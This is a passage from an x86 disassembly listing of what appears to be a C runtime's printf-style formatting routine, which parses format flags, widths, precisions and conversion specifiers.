		jz	short loc_410EAD
		cmp	dword ptr [edi+8], 0
		jnz	short loc_410EAD
		mov	eax, [esp+8+arg_0]
		add	[esi], eax
		jmp	short loc_410EB4
; ---------------------------------------------------------------------------

loc_410E87:				; CODE XREF: sub_410E6D+45j
		mov	al, [ebx]
		dec	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_410E16
		inc	ebx
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_410EAD
		call	sub_40FCB4
		cmp	dword ptr [eax], 2Ah
		jnz	short loc_410EB4
		mov	ecx, edi
		mov	al, 3Fh
		call	sub_410E16

loc_410EAD:				; CODE XREF: sub_410E6D+Aj
					; sub_410E6D+10j ...
		cmp	[esp+8+arg_0], 0
		jg	short loc_410E87

loc_410EB4:				; CODE XREF: sub_410E6D+18j
					; sub_410E6D+35j
		pop	esi
		pop	ebx
		retn
sub_410E6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=1F8h


sub_410EB7	proc near		; CODE XREF: sub_40CAE4+80p
					; sub_40D658+53p ...

var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_260		= dword	ptr -260h
var_25C		= byte ptr -25Ch
var_254		= dword	ptr -254h
var_250		= byte ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= byte ptr -230h
var_22F		= byte ptr -22Fh
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_211		= byte ptr -211h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_D		= byte ptr -0Dh
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-1F8h]
		sub	esp, 278h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+1F8h+var_4], eax
		mov	eax, [ebp+1F8h+arg_0]
		push	ebx
		mov	ebx, [ebp+1F8h+arg_4]
		push	esi
		xor	esi, esi
		push	edi
		mov	edi, [ebp+1F8h+arg_C]
		push	[ebp+1F8h+arg_8]
		lea	ecx, [ebp+1F8h+var_25C]
		mov	[ebp+1F8h+var_228], eax
		mov	[ebp+1F8h+var_224], edi
		mov	[ebp+1F8h+var_244], esi
		mov	[ebp+1F8h+var_210], esi
		mov	[ebp+1F8h+var_238], esi
		mov	[ebp+1F8h+var_218], esi
		mov	[ebp+1F8h+var_234], esi
		mov	[ebp+1F8h+var_248], esi
		mov	[ebp+1F8h+var_23C], esi
		call	sub_40AFFD
		cmp	[ebp+1F8h+var_228], esi
		jnz	short loc_410F44

loc_410F17:				; CODE XREF: sub_410EB7+E5j
					; sub_410EB7+138j ...
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		push	esi

loc_410F27:				; CODE XREF: sub_410EB7+948j
		call	sub_40D31E
		add	esp, 14h
		cmp	[ebp+1F8h+var_250], 0
		jz	short loc_410F3C
		mov	eax, [ebp+1F8h+var_254]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_410F3C:				; CODE XREF: sub_410EB7+7Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_411814
; ---------------------------------------------------------------------------

loc_410F44:				; CODE XREF: sub_410EB7+5Ej
		mov	eax, [ebp+1F8h+var_228]
		test	byte ptr [eax+0Ch], 40h
		jnz	loc_410FF5
		push	eax
		call	sub_412CF4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_410F93
		push	[ebp+1F8h+var_228]
		call	sub_412CF4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_410F93
		push	[ebp+1F8h+var_228]
		call	sub_412CF4
		push	[ebp+1F8h+var_228]
		sar	eax, 5
		lea	esi, ds:433CE0h[eax*4]
		call	sub_412CF4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [esi]
		pop	ecx
		pop	ecx
		xor	esi, esi
		jmp	short loc_410F98
; ---------------------------------------------------------------------------

loc_410F93:				; CODE XREF: sub_410EB7+A4j
					; sub_410EB7+B2j
		mov	eax, offset dword_423BB8

loc_410F98:				; CODE XREF: sub_410EB7+DAj
		test	byte ptr [eax+24h], 7Fh
		jnz	loc_410F17
		push	[ebp+1F8h+var_228]
		call	sub_412CF4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_410FE6
		push	[ebp+1F8h+var_228]
		call	sub_412CF4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_410FE6
		push	[ebp+1F8h+var_228]
		call	sub_412CF4
		push	[ebp+1F8h+var_228]
		sar	eax, 5
		lea	esi, ds:433CE0h[eax*4]
		call	sub_412CF4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [esi]
		pop	ecx
		pop	ecx
		xor	esi, esi
		jmp	short loc_410FEB
; ---------------------------------------------------------------------------

loc_410FE6:				; CODE XREF: sub_410EB7+F7j
					; sub_410EB7+105j
		mov	eax, offset dword_423BB8

loc_410FEB:				; CODE XREF: sub_410EB7+12Dj
		test	byte ptr [eax+24h], 80h
		jnz	loc_410F17

loc_410FF5:				; CODE XREF: sub_410EB7+94j
		cmp	ebx, esi
		jz	loc_410F17
		mov	dl, [ebx]
		xor	ecx, ecx
		test	dl, dl
		mov	[ebp+1F8h+var_22C], esi
		mov	[ebp+1F8h+var_220], esi
		mov	[ebp+1F8h+var_24C], esi
		mov	[ebp+1F8h+var_211], dl
		jz	loc_411804

loc_411015:				; CODE XREF: sub_410EB7+931j
		inc	ebx
		cmp	[ebp+1F8h+var_22C], 0
		mov	[ebp+1F8h+var_240], ebx
		jl	loc_411804
		mov	al, dl
		sub	al, 20h
		cmp	al, 58h
		ja	short loc_41103C
		movsx	eax, dl
		movzx	eax, ds:byte_41E4C8[eax]
		and	eax, 0Fh
		xor	esi, esi
		jmp	short loc_411040
; ---------------------------------------------------------------------------

loc_41103C:				; CODE XREF: sub_410EB7+172j
		xor	esi, esi
		xor	eax, eax

loc_411040:				; CODE XREF: sub_410EB7+183j
		movsx	eax, ds:byte_41E4E8[ecx+eax*8]
		push	7
		sar	eax, 4
		pop	ecx
		cmp	eax, ecx	; switch 8 cases
		mov	[ebp+1F8h+var_26C], eax
		ja	loc_4117D4	; default
		jmp	ds:off_41182F[eax*4] ; switch jump

loc_411060:				; DATA XREF: .text:off_41182Fo
		or	[ebp+1F8h+var_218], 0FFFFFFFFh ; jumptable 00411059 case 1
		mov	[ebp+1F8h+var_270], esi
		mov	[ebp+1F8h+var_248], esi
		mov	[ebp+1F8h+var_238], esi
		mov	[ebp+1F8h+var_234], esi
		mov	[ebp+1F8h+var_210], esi
		mov	[ebp+1F8h+var_23C], esi
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_41107B:				; CODE XREF: sub_410EB7+1A2j
					; DATA XREF: .text:off_41182Fo
		movsx	eax, dl		; jumptable 00411059 case 2
		sub	eax, 20h
		jz	short loc_4110C1
		sub	eax, 3
		jz	short loc_4110B5
		sub	eax, 8
		jz	short loc_4110AC
		dec	eax
		dec	eax
		jz	short loc_4110A3
		sub	eax, 3
		jnz	loc_4117D4	; default
		or	[ebp+1F8h+var_210], 8
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_4110A3:				; CODE XREF: sub_410EB7+1D8j
		or	[ebp+1F8h+var_210], 4
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_4110AC:				; CODE XREF: sub_410EB7+1D4j
		or	[ebp+1F8h+var_210], 1
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_4110B5:				; CODE XREF: sub_410EB7+1CFj
		or	[ebp+1F8h+var_210], 80h
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_4110C1:				; CODE XREF: sub_410EB7+1CAj
		or	[ebp+1F8h+var_210], 2
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_4110CA:				; CODE XREF: sub_410EB7+1A2j
					; DATA XREF: .text:off_41182Fo
		cmp	dl, 2Ah		; jumptable 00411059 case 3
		jnz	short loc_4110EF
		add	edi, 4
		mov	[ebp+1F8h+var_224], edi
		mov	edi, [edi-4]
		cmp	edi, esi
		mov	[ebp+1F8h+var_238], edi
		jge	loc_4117D4	; default
		or	[ebp+1F8h+var_210], 4
		neg	[ebp+1F8h+var_238]
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_4110EF:				; CODE XREF: sub_410EB7+216j
		mov	eax, [ebp+1F8h+var_238]
		imul	eax, 0Ah
		movsx	ecx, dl
		lea	eax, [eax+ecx-30h]
		mov	[ebp+1F8h+var_238], eax
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_411104:				; CODE XREF: sub_410EB7+1A2j
					; DATA XREF: .text:off_41182Fo
		mov	[ebp+1F8h+var_218], esi	; jumptable 00411059 case 4
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_41110C:				; CODE XREF: sub_410EB7+1A2j
					; DATA XREF: .text:off_41182Fo
		cmp	dl, 2Ah		; jumptable 00411059 case 5
		jnz	short loc_41112E
		add	edi, 4
		mov	[ebp+1F8h+var_224], edi
		mov	edi, [edi-4]
		cmp	edi, esi
		mov	[ebp+1F8h+var_218], edi
		jge	loc_4117D4	; default
		or	[ebp+1F8h+var_218], 0FFFFFFFFh
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_41112E:				; CODE XREF: sub_410EB7+258j
		mov	eax, [ebp+1F8h+var_218]
		imul	eax, 0Ah
		movsx	ecx, dl
		lea	eax, [eax+ecx-30h]
		mov	[ebp+1F8h+var_218], eax
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_411143:				; CODE XREF: sub_410EB7+1A2j
					; DATA XREF: .text:off_41182Fo
		cmp	dl, 49h		; jumptable 00411059 case 6
		jz	short loc_41118E
		cmp	dl, 68h
		jz	short loc_411185
		cmp	dl, 6Ch
		jz	short loc_411167
		cmp	dl, 77h
		jnz	loc_4117D4	; default
		or	[ebp+1F8h+var_210], 800h
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_411167:				; CODE XREF: sub_410EB7+299j
		cmp	byte ptr [ebx],	6Ch
		jnz	short loc_41117C
		inc	ebx
		or	[ebp+1F8h+var_210], 1000h
		mov	[ebp+1F8h+var_240], ebx
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_41117C:				; CODE XREF: sub_410EB7+2B3j
		or	[ebp+1F8h+var_210], 10h
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_411185:				; CODE XREF: sub_410EB7+294j
		or	[ebp+1F8h+var_210], 20h
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_41118E:				; CODE XREF: sub_410EB7+28Fj
		mov	al, [ebx]
		cmp	al, 36h
		jnz	short loc_4111AB
		cmp	byte ptr [ebx+1], 34h
		jnz	short loc_4111AB
		inc	ebx
		inc	ebx
		or	[ebp+1F8h+var_210], 8000h
		mov	[ebp+1F8h+var_240], ebx
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_4111AB:				; CODE XREF: sub_410EB7+2DBj
					; sub_410EB7+2E1j
		cmp	al, 33h
		jnz	short loc_4111C6
		cmp	byte ptr [ebx+1], 32h
		jnz	short loc_4111C6
		inc	ebx
		inc	ebx
		and	[ebp+1F8h+var_210], 0FFFF7FFFh
		mov	[ebp+1F8h+var_240], ebx
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_4111C6:				; CODE XREF: sub_410EB7+2F6j
					; sub_410EB7+2FCj
		cmp	al, 64h
		jz	loc_4117D4	; default
		cmp	al, 69h
		jz	loc_4117D4	; default
		cmp	al, 6Fh
		jz	loc_4117D4	; default
		cmp	al, 75h
		jz	loc_4117D4	; default
		cmp	al, 78h
		jz	loc_4117D4	; default
		cmp	al, 58h
		jz	loc_4117D4	; default
		mov	[ebp+1F8h+var_26C], esi

loc_4111F9:				; CODE XREF: sub_410EB7+1A2j
					; DATA XREF: .text:off_41182Fo
		lea	eax, [ebp+1F8h+var_25C]	; jumptable 00411059 case 0
		push	eax
		movzx	eax, dl
		push	eax
		mov	[ebp+1F8h+var_23C], esi
		call	sub_416CC0
		pop	ecx
		test	eax, eax
		mov	al, [ebp+1F8h+var_211]
		pop	ecx
		jz	short loc_41122B
		mov	ecx, [ebp+1F8h+var_228]
		lea	esi, [ebp+1F8h+var_22C]
		call	sub_410E16
		mov	al, [ebx]
		inc	ebx
		test	al, al
		mov	[ebp+1F8h+var_240], ebx
		jz	loc_4117ED

loc_41122B:				; CODE XREF: sub_410EB7+359j
		mov	ecx, [ebp+1F8h+var_228]
		lea	esi, [ebp+1F8h+var_22C]
		call	sub_410E16
		jmp	loc_4117D4	; default
; ---------------------------------------------------------------------------

loc_41123B:				; CODE XREF: sub_410EB7+1A2j
					; DATA XREF: .text:off_41182Fo
		movsx	eax, dl		; jumptable 00411059 case 7
		cmp	eax, 64h
		jg	loc_4113B9
		jz	loc_411438
		cmp	eax, 53h
		jg	loc_411301
		jz	short loc_4112B2
		sub	eax, 41h
		jz	short loc_41126D
		dec	eax
		dec	eax
		jz	short loc_4112A1
		dec	eax
		dec	eax
		jz	short loc_41126D
		dec	eax
		dec	eax
		jnz	loc_4116BC

loc_41126D:				; CODE XREF: sub_410EB7+3A4j
					; sub_410EB7+3ACj
		add	dl, 20h
		mov	[ebp+1F8h+var_270], 1
		mov	[ebp+1F8h+var_211], dl

loc_41127A:				; CODE XREF: sub_410EB7+459j
					; sub_410EB7+51Dj
		or	[ebp+1F8h+var_210], 40h
		cmp	[ebp+1F8h+var_218], esi
		lea	ebx, [ebp+1F8h+var_20C]
		mov	eax, 200h
		mov	[ebp+1F8h+var_21C], ebx
		mov	[ebp+1F8h+var_260], eax
		jge	loc_41145C
		mov	[ebp+1F8h+var_218], 6
		jmp	loc_4114AA
; ---------------------------------------------------------------------------

loc_4112A1:				; CODE XREF: sub_410EB7+3A8j
		test	word ptr [ebp+1F8h+var_210], 830h
		jnz	short loc_41131E
		or	[ebp+1F8h+var_210], 800h
		jmp	short loc_41131E
; ---------------------------------------------------------------------------

loc_4112B2:				; CODE XREF: sub_410EB7+39Fj
		test	word ptr [ebp+1F8h+var_210], 830h
		jnz	short loc_4112C1
		or	[ebp+1F8h+var_210], 800h

loc_4112C1:				; CODE XREF: sub_410EB7+401j
					; sub_410EB7+694j
		mov	ecx, [ebp+1F8h+var_218]
		cmp	ecx, 0FFFFFFFFh
		jnz	short loc_4112CE
		mov	ecx, 7FFFFFFFh

loc_4112CE:				; CODE XREF: sub_410EB7+410j
		add	edi, 4
		test	word ptr [ebp+1F8h+var_210], 810h
		mov	[ebp+1F8h+var_224], edi
		mov	edi, [edi-4]
		mov	[ebp+1F8h+var_21C], edi
		jz	loc_41169A
		cmp	edi, esi
		jnz	short loc_4112F2
		mov	eax, off_423928
		mov	[ebp+1F8h+var_21C], eax

loc_4112F2:				; CODE XREF: sub_410EB7+431j
		mov	eax, [ebp+1F8h+var_21C]
		mov	[ebp+1F8h+var_23C], 1
		jmp	loc_41168F
; ---------------------------------------------------------------------------

loc_411301:				; CODE XREF: sub_410EB7+399j
		sub	eax, 58h
		jz	loc_411543
		dec	eax
		dec	eax
		jz	short loc_41136B
		sub	eax, ecx
		jz	loc_41127A
		dec	eax
		dec	eax
		jnz	loc_4116BC

loc_41131E:				; CODE XREF: sub_410EB7+3F0j
					; sub_410EB7+3F9j
		add	edi, 4
		test	word ptr [ebp+1F8h+var_210], 810h
		mov	[ebp+1F8h+var_224], edi
		jz	short loc_411353
		movzx	eax, word ptr [edi-4]
		push	eax
		push	200h
		lea	eax, [ebp+1F8h+var_20C]
		push	eax
		lea	eax, [ebp+1F8h+var_220]
		push	eax
		call	sub_4179F2
		add	esp, 10h
		test	eax, eax
		jz	short loc_411360
		mov	[ebp+1F8h+var_248], 1
		jmp	short loc_411360
; ---------------------------------------------------------------------------

loc_411353:				; CODE XREF: sub_410EB7+473j
		mov	al, [edi-4]
		mov	[ebp+1F8h+var_20C], al
		mov	[ebp+1F8h+var_220], 1

loc_411360:				; CODE XREF: sub_410EB7+491j
					; sub_410EB7+49Aj
		lea	eax, [ebp+1F8h+var_20C]
		mov	[ebp+1F8h+var_21C], eax
		jmp	loc_4116BC
; ---------------------------------------------------------------------------

loc_41136B:				; CODE XREF: sub_410EB7+455j
		mov	eax, [edi]
		add	edi, 4
		cmp	eax, esi
		mov	[ebp+1F8h+var_224], edi
		jz	short loc_4113A5
		mov	ecx, [eax+4]
		cmp	ecx, esi
		jz	short loc_4113A5
		test	word ptr [ebp+1F8h+var_210], 800h
		movsx	eax, word ptr [eax]
		mov	[ebp+1F8h+var_21C], ecx
		jz	short loc_41139D
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+1F8h+var_23C], 1
		jmp	loc_4116B9
; ---------------------------------------------------------------------------

loc_41139D:				; CODE XREF: sub_410EB7+4D3j
		mov	[ebp+1F8h+var_23C], esi
		jmp	loc_4116B9
; ---------------------------------------------------------------------------

loc_4113A5:				; CODE XREF: sub_410EB7+4BEj
					; sub_410EB7+4C5j
		mov	eax, off_423924
		mov	[ebp+1F8h+var_21C], eax
		push	eax

loc_4113AE:				; CODE XREF: sub_410EB7+680j
		call	sub_40C9B0
		pop	ecx
		jmp	loc_4116B9
; ---------------------------------------------------------------------------

loc_4113B9:				; CODE XREF: sub_410EB7+38Aj
		cmp	eax, 70h
		jg	loc_411548
		jz	loc_41153C
		cmp	eax, 65h
		jl	loc_4116BC
		cmp	eax, 67h
		jle	loc_41127A
		cmp	eax, 69h
		jz	short loc_411438
		cmp	eax, 6Eh
		jz	short loc_411403
		cmp	eax, 6Fh
		jnz	loc_4116BC
		test	byte ptr [ebp+1F8h+var_210], 80h
		mov	[ebp+1F8h+var_220], 8
		jz	short loc_411443
		or	[ebp+1F8h+var_210], 200h
		jmp	short loc_411443
; ---------------------------------------------------------------------------

loc_411403:				; CODE XREF: sub_410EB7+52Bj
		mov	esi, [edi]
		add	edi, 4
		mov	[ebp+1F8h+var_224], edi
		call	sub_41787D
		test	eax, eax
		jz	loc_4117ED
		test	byte ptr [ebp+1F8h+var_210], 20h
		jz	short loc_411427
		mov	ax, word ptr [ebp+1F8h+var_22C]
		mov	[esi], ax
		jmp	short loc_41142C
; ---------------------------------------------------------------------------

loc_411427:				; CODE XREF: sub_410EB7+565j
		mov	eax, [ebp+1F8h+var_22C]
		mov	[esi], eax

loc_41142C:				; CODE XREF: sub_410EB7+56Ej
		mov	[ebp+1F8h+var_248], 1
		jmp	loc_4117C1
; ---------------------------------------------------------------------------

loc_411438:				; CODE XREF: sub_410EB7+390j
					; sub_410EB7+526j
		or	[ebp+1F8h+var_210], 40h

loc_41143C:				; CODE XREF: sub_410EB7+69Cj
		mov	[ebp+1F8h+var_220], 0Ah

loc_411443:				; CODE XREF: sub_410EB7+541j
					; sub_410EB7+54Aj ...
		mov	ecx, [ebp+1F8h+var_210]
		test	cx, cx
		jns	loc_411592

loc_41144F:				; CODE XREF: sub_410EB7+6E0j
		mov	eax, [edi]
		mov	edx, [edi+4]
		add	edi, 8
		jmp	loc_4115C7
; ---------------------------------------------------------------------------

loc_41145C:				; CODE XREF: sub_410EB7+3D8j
		jnz	short loc_41146C
		cmp	dl, 67h
		jnz	short loc_4114AA
		mov	[ebp+1F8h+var_218], 1
		jmp	short loc_4114AA
; ---------------------------------------------------------------------------

loc_41146C:				; CODE XREF: sub_410EB7:loc_41145Cj
		cmp	[ebp+1F8h+var_218], eax
		jle	short loc_411474
		mov	[ebp+1F8h+var_218], eax

loc_411474:				; CODE XREF: sub_410EB7+5B8j
		cmp	[ebp+1F8h+var_218], 0A3h
		jle	short loc_4114AA
		mov	esi, [ebp+1F8h+var_218]
		add	esi, 15Dh
		push	esi
		call	sub_411E8A
		test	eax, eax
		mov	dl, [ebp+1F8h+var_211]
		pop	ecx
		mov	[ebp+1F8h+var_24C], eax
		jz	short loc_4114A1
		mov	[ebp+1F8h+var_21C], eax
		mov	[ebp+1F8h+var_260], esi
		mov	ebx, eax
		jmp	short loc_4114A8
; ---------------------------------------------------------------------------

loc_4114A1:				; CODE XREF: sub_410EB7+5DEj
		mov	[ebp+1F8h+var_218], 0A3h

loc_4114A8:				; CODE XREF: sub_410EB7+5E8j
		xor	esi, esi

loc_4114AA:				; CODE XREF: sub_410EB7+3E5j
					; sub_410EB7+5AAj ...
		mov	eax, [edi]
		add	edi, 8
		mov	[ebp+1F8h+var_278], eax
		mov	eax, [edi-4]
		mov	[ebp+1F8h+var_274], eax
		lea	eax, [ebp+1F8h+var_25C]
		push	eax
		push	[ebp+1F8h+var_270]
		movsx	eax, dl
		push	[ebp+1F8h+var_218]
		mov	[ebp+1F8h+var_224], edi
		push	eax
		push	[ebp+1F8h+var_260]
		lea	eax, [ebp+1F8h+var_278]
		push	ebx
		push	eax
		push	off_423F78
		call	sub_40F674
		pop	ecx
		call	eax
		mov	edi, [ebp+1F8h+var_210]
		add	esp, 1Ch
		and	edi, 80h
		jz	short loc_411507
		cmp	[ebp+1F8h+var_218], esi
		jnz	short loc_411507
		lea	eax, [ebp+1F8h+var_25C]
		push	eax
		push	ebx
		push	off_423F84
		call	sub_40F674
		pop	ecx
		call	eax
		pop	ecx
		pop	ecx

loc_411507:				; CODE XREF: sub_410EB7+634j
					; sub_410EB7+639j
		cmp	[ebp+1F8h+var_211], 67h
		jnz	short loc_411526
		cmp	edi, esi
		jnz	short loc_411526
		lea	eax, [ebp+1F8h+var_25C]
		push	eax
		push	ebx
		push	off_423F80
		call	sub_40F674
		pop	ecx
		call	eax
		pop	ecx
		pop	ecx

loc_411526:				; CODE XREF: sub_410EB7+654j
					; sub_410EB7+658j
		cmp	byte ptr [ebx],	2Dh
		jnz	short loc_411536
		or	[ebp+1F8h+var_210], 100h
		inc	ebx
		mov	[ebp+1F8h+var_21C], ebx

loc_411536:				; CODE XREF: sub_410EB7+672j
		push	ebx
		jmp	loc_4113AE
; ---------------------------------------------------------------------------

loc_41153C:				; CODE XREF: sub_410EB7+50Bj
		mov	[ebp+1F8h+var_218], 8

loc_411543:				; CODE XREF: sub_410EB7+44Dj
		mov	[ebp+1F8h+var_244], ecx
		jmp	short loc_411569
; ---------------------------------------------------------------------------

loc_411548:				; CODE XREF: sub_410EB7+505j
		sub	eax, 73h
		jz	loc_4112C1
		dec	eax
		dec	eax
		jz	loc_41143C
		sub	eax, 3
		jnz	loc_4116BC
		mov	[ebp+1F8h+var_244], 27h

loc_411569:				; CODE XREF: sub_410EB7+68Fj
		test	byte ptr [ebp+1F8h+var_210], 80h
		mov	[ebp+1F8h+var_220], 10h
		jz	loc_411443
		mov	al, byte ptr [ebp+1F8h+var_244]
		add	al, 51h
		mov	[ebp+1F8h+var_230], 30h
		mov	[ebp+1F8h+var_22F], al
		mov	[ebp+1F8h+var_234], 2
		jmp	loc_411443
; ---------------------------------------------------------------------------

loc_411592:				; CODE XREF: sub_410EB7+592j
		test	cx, 1000h
		jnz	loc_41144F
		add	edi, 4
		test	cl, 20h
		jz	short loc_4115BA
		test	cl, 40h
		mov	[ebp+1F8h+var_224], edi
		jz	short loc_4115B3
		movsx	eax, word ptr [edi-4]
		jmp	short loc_4115B7
; ---------------------------------------------------------------------------

loc_4115B3:				; CODE XREF: sub_410EB7+6F4j
		movzx	eax, word ptr [edi-4]

loc_4115B7:				; CODE XREF: sub_410EB7+6FAj
		cdq
		jmp	short loc_4115CA
; ---------------------------------------------------------------------------

loc_4115BA:				; CODE XREF: sub_410EB7+6ECj
		test	cl, 40h
		mov	eax, [edi-4]
		jz	short loc_4115C5
		cdq
		jmp	short loc_4115C7
; ---------------------------------------------------------------------------

loc_4115C5:				; CODE XREF: sub_410EB7+709j
		xor	edx, edx

loc_4115C7:				; CODE XREF: sub_410EB7+5A0j
					; sub_410EB7+70Cj
		mov	[ebp+1F8h+var_224], edi

loc_4115CA:				; CODE XREF: sub_410EB7+701j
		test	cl, 40h
		jz	short loc_4115E7
		cmp	edx, esi
		jg	short loc_4115E7
		jl	short loc_4115D9
		cmp	eax, esi
		jnb	short loc_4115E7

loc_4115D9:				; CODE XREF: sub_410EB7+71Cj
		neg	eax
		adc	edx, 0
		neg	edx
		or	[ebp+1F8h+var_210], 100h

loc_4115E7:				; CODE XREF: sub_410EB7+716j
					; sub_410EB7+71Aj ...
		test	word ptr [ebp+1F8h+var_210], 9000h
		mov	ebx, edx
		mov	edi, eax
		jnz	short loc_4115F5
		xor	ebx, ebx

loc_4115F5:				; CODE XREF: sub_410EB7+73Aj
		cmp	[ebp+1F8h+var_218], 0
		jge	short loc_411604
		mov	[ebp+1F8h+var_218], 1
		jmp	short loc_411615
; ---------------------------------------------------------------------------

loc_411604:				; CODE XREF: sub_410EB7+742j
		and	[ebp+1F8h+var_210], 0FFFFFFF7h
		mov	eax, 200h
		cmp	[ebp+1F8h+var_218], eax
		jle	short loc_411615
		mov	[ebp+1F8h+var_218], eax

loc_411615:				; CODE XREF: sub_410EB7+74Bj
					; sub_410EB7+759j
		mov	eax, edi
		or	eax, ebx
		jnz	short loc_41161F
		and	[ebp+1F8h+var_234], 0

loc_41161F:				; CODE XREF: sub_410EB7+762j
		lea	esi, [ebp+1F8h+var_D]

loc_411625:				; CODE XREF: sub_410EB7+7A0j
		mov	eax, [ebp+1F8h+var_218]
		dec	[ebp+1F8h+var_218]
		test	eax, eax
		jg	short loc_411635
		mov	eax, edi
		or	eax, ebx
		jz	short loc_411659

loc_411635:				; CODE XREF: sub_410EB7+776j
		mov	eax, [ebp+1F8h+var_220]
		cdq
		push	edx
		push	eax
		push	ebx
		push	edi
		call	sub_417A10
		add	ecx, 30h
		cmp	ecx, 39h
		mov	[ebp+1F8h+var_260], ebx
		mov	edi, eax
		mov	ebx, edx
		jle	short loc_411654
		add	ecx, [ebp+1F8h+var_244]

loc_411654:				; CODE XREF: sub_410EB7+798j
		mov	[esi], cl
		dec	esi
		jmp	short loc_411625
; ---------------------------------------------------------------------------

loc_411659:				; CODE XREF: sub_410EB7+77Cj
		lea	eax, [ebp+1F8h+var_D]
		sub	eax, esi
		inc	esi
		test	word ptr [ebp+1F8h+var_210], 200h
		mov	[ebp+1F8h+var_220], eax
		mov	[ebp+1F8h+var_21C], esi
		jz	short loc_4116BC
		test	eax, eax
		jz	short loc_41167B
		mov	ecx, esi
		cmp	byte ptr [ecx],	30h
		jz	short loc_4116BC

loc_41167B:				; CODE XREF: sub_410EB7+7BBj
		dec	[ebp+1F8h+var_21C]
		mov	ecx, [ebp+1F8h+var_21C]
		mov	byte ptr [ecx],	30h
		inc	eax
		jmp	short loc_4116B9
; ---------------------------------------------------------------------------

loc_411687:				; CODE XREF: sub_410EB7+7DAj
		dec	ecx
		cmp	[eax], si
		jz	short loc_411693
		inc	eax
		inc	eax

loc_41168F:				; CODE XREF: sub_410EB7+445j
		cmp	ecx, esi
		jnz	short loc_411687

loc_411693:				; CODE XREF: sub_410EB7+7D4j
		sub	eax, [ebp+1F8h+var_21C]
		sar	eax, 1
		jmp	short loc_4116B9
; ---------------------------------------------------------------------------

loc_41169A:				; CODE XREF: sub_410EB7+429j
		cmp	edi, esi
		jnz	short loc_4116A6
		mov	eax, off_423924
		mov	[ebp+1F8h+var_21C], eax

loc_4116A6:				; CODE XREF: sub_410EB7+7E5j
		mov	eax, [ebp+1F8h+var_21C]
		jmp	short loc_4116B2
; ---------------------------------------------------------------------------

loc_4116AB:				; CODE XREF: sub_410EB7+7FDj
		dec	ecx
		cmp	byte ptr [eax],	0
		jz	short loc_4116B6
		inc	eax

loc_4116B2:				; CODE XREF: sub_410EB7+7F2j
		cmp	ecx, esi
		jnz	short loc_4116AB

loc_4116B6:				; CODE XREF: sub_410EB7+7F8j
		sub	eax, [ebp+1F8h+var_21C]

loc_4116B9:				; CODE XREF: sub_410EB7+4E1j
					; sub_410EB7+4E9j ...
		mov	[ebp+1F8h+var_220], eax

loc_4116BC:				; CODE XREF: sub_410EB7+3B0j
					; sub_410EB7+461j ...
		cmp	[ebp+1F8h+var_248], 0
		jnz	loc_4117C1
		mov	eax, [ebp+1F8h+var_210]
		test	al, 40h
		jz	short loc_4116F2
		test	ax, 100h
		jz	short loc_4116D9
		mov	[ebp+1F8h+var_230], 2Dh
		jmp	short loc_4116EB
; ---------------------------------------------------------------------------

loc_4116D9:				; CODE XREF: sub_410EB7+81Aj
		test	al, 1
		jz	short loc_4116E3
		mov	[ebp+1F8h+var_230], 2Bh
		jmp	short loc_4116EB
; ---------------------------------------------------------------------------

loc_4116E3:				; CODE XREF: sub_410EB7+824j
		test	al, 2
		jz	short loc_4116F2
		mov	[ebp+1F8h+var_230], 20h

loc_4116EB:				; CODE XREF: sub_410EB7+820j
					; sub_410EB7+82Aj
		mov	[ebp+1F8h+var_234], 1

loc_4116F2:				; CODE XREF: sub_410EB7+814j
					; sub_410EB7+82Ej
		mov	ebx, [ebp+1F8h+var_238]
		sub	ebx, [ebp+1F8h+var_220]
		sub	ebx, [ebp+1F8h+var_234]
		test	byte ptr [ebp+1F8h+var_210], 0Ch
		jnz	short loc_411712
		push	[ebp+1F8h+var_228]
		lea	eax, [ebp+1F8h+var_22C]
		push	ebx
		push	20h
